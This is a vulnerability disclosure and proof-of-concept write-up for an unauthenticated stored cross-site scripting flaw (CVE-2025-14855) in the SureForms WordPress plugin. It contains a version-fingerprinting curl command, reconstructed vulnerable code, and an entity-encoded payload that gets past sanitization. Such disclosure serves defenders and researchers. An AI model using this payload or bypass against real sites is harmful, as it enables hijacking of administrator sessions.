Share
## https://sploitus.com/exploit?id=PACKETSTORM:214312
# CVE-2025-14855: SureForms WordPress Plugin Stored XSS Proof of Concept
    - **Target:** WordPress Plugin "SureForms"
    - **Plugin Wordpress:** https://wordpress.org/plugins/sureforms/
    - **Vulnerability Type:** Stored Cross-Site Scripting (XSS)
    - **CVE:** CVE-2025-14855
    - **Refer:** https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-220-unauthenticated-stored-cross-site-scripting
    - **Authentication:** Unauthenticated (Guest/Public)
    - **Impact:** Remote Code Execution (RCE) via Admin Session Hijacking
    - **Discovered by:** https://nguyentiendung1006.wixsite.com/tiendung
    
    ## 1. Abstract
    A critical **Stored XSS** vulnerability exists in the SureForms plugin. The vulnerability stems from an insecure client-side implementation in `entries.js` where user input is programmatically **decoded** (reversing server-side sanitization) and then rendered using `dangerouslySetInnerHTML` without proper client-side sanitization. This allows unauthenticated attackers to inject malicious JavaScript payloads via standard form fields, bypassing WordPress's default `wp_kses` filters.
    
    ## 2. Version Identification
    To verify if a target site is running SureForms, inspect the translation file header which typically contains the version number.
    
    **Target URL:**
    `http://target-site.com/wp-content/plugins/sureforms/languages/sureforms.pot`
    
    **Verification Command:**
    ```bash
    curl -s "http://target-site.com/wp-content/plugins/sureforms/languages/sureforms.pot" | grep "Project-Id-Version"
    ```
    
    ## 3. Reverse Engineering & Root Cause Analysis
    
    The vulnerability resides in the React-based admin interface responsible for viewing form entries (`entries.js`).
    
    ### 3.1. The "Auto-Decoder" Logic (The Bypass)
    In the minified `entries.js` file, there is a helper function (identified as `Xv` in the analyzed build) designed to handle HTML entities.
    
    **Code Logic (Reconstructed):**
    ```javascript
    // Function Xv: Pre-processing field values
    var Xv = function(input) {
        var value = input.value;
        
        // VULNERABILITY ROOT CAUSE:
        // If the string contains HTML entities (e.g., <), create a textarea,
        // inject the content, and extract the value. 
        // This effectively DECODES HTML entities back to raw HTML tags.
        // Example: "&lt;img ...&gt;" becomes "<img ...>"
        
        if (typeof value === "string" && value.match(/&[a-zA-Z0-9#]+;/)) {
            var textarea = document.createElement("textarea");
            textarea.innerHTML = value;
            
            // Logic to revert sanitization
            if (textarea.value.includes("&lt;") || textarea.value.includes("&gt;")) {
                 value = textarea.value; // Now 'value' contains RAW HTML
            }
        }
        return { ...input, value: value };
    }
    ```
    **Analysis:** This function defeats backend security. Even if WordPress correctly stores `<script>` as `&lt;script&gt;` in the database, this function converts it back to `<script>` immediately after fetching it from the API.
    
    ### 3.2. The Dangerous Sink
    After decoding, the data is passed to the rendering component (identified as `Jv`).
    
    **Code Logic (Reconstructed):**
    ```javascript
    // Function Jv: Rendering the field
    var Jv = function(props) {
        var field = props.field;
        var val = field.value; // This value is now raw HTML (post-decoding)
    
        // THE TRIGGER: Check if the string looks like HTML
        if (typeof val === "string" && val.match(/<[^>]+>/g)) {
            // THE SINK: Render using dangerouslySetInnerHTML WITHOUT client-side sanitization (e.g., DOMPurify)
            return React.createElement("span", {
                dangerouslySetInnerHTML: { __html: val }
            });
        }
        
        // Safe render for non-HTML text
        return React.createElement("span", null, val);
    }
    ```
    
    ## 4. Attack Flow
    
    1.  **Injection:** An unauthenticated attacker submits a form on the frontend. Instead of using raw HTML tags (which would be stripped/sanitized by WordPress backend), the attacker sends **HTML Entities**.
    2.  **Storage:** WordPress sees the input (e.g., `&lt;img...`) as safe text and stores it in the database.
    3.  **Execution (The Trap):**
        *   The Admin navigates to **SureForms > Entries**.
        *   The browser fetches the entry details via JSON API.
        *   The `Xv` function detects the entities and decodes `&lt;img...` back to `<img...`.
        *   The `Jv` function detects the `<` character via Regex.
        *   The payload is executed via `dangerouslySetInnerHTML`.
    
    ## 5. Proof of Concept (PoC)
    
    ### Step 1: Submit Malicious Entry
    Submit a SureForms contact form with the following payload in any text field (Name, Message, Subject, etc.):
    
    **Payload:**
    ```html
    &lt;img src=x onerror=alert('XSS_SUREFORMS')&gt;
    ```
    
    *Note: We use HTML Entities to bypass server-side WAF/Sanitization filters.*
    
    ### Step 2: Trigger XSS
    1. Log in as an Administrator.
    2. Go to **SureForms** -> **Entries**.
    3. Click on the entry submitted in Step 1 to view details.
    
    4. **Result:** The browser will execute the JavaScript payload (`alert('XSS_SUREFORMS')`).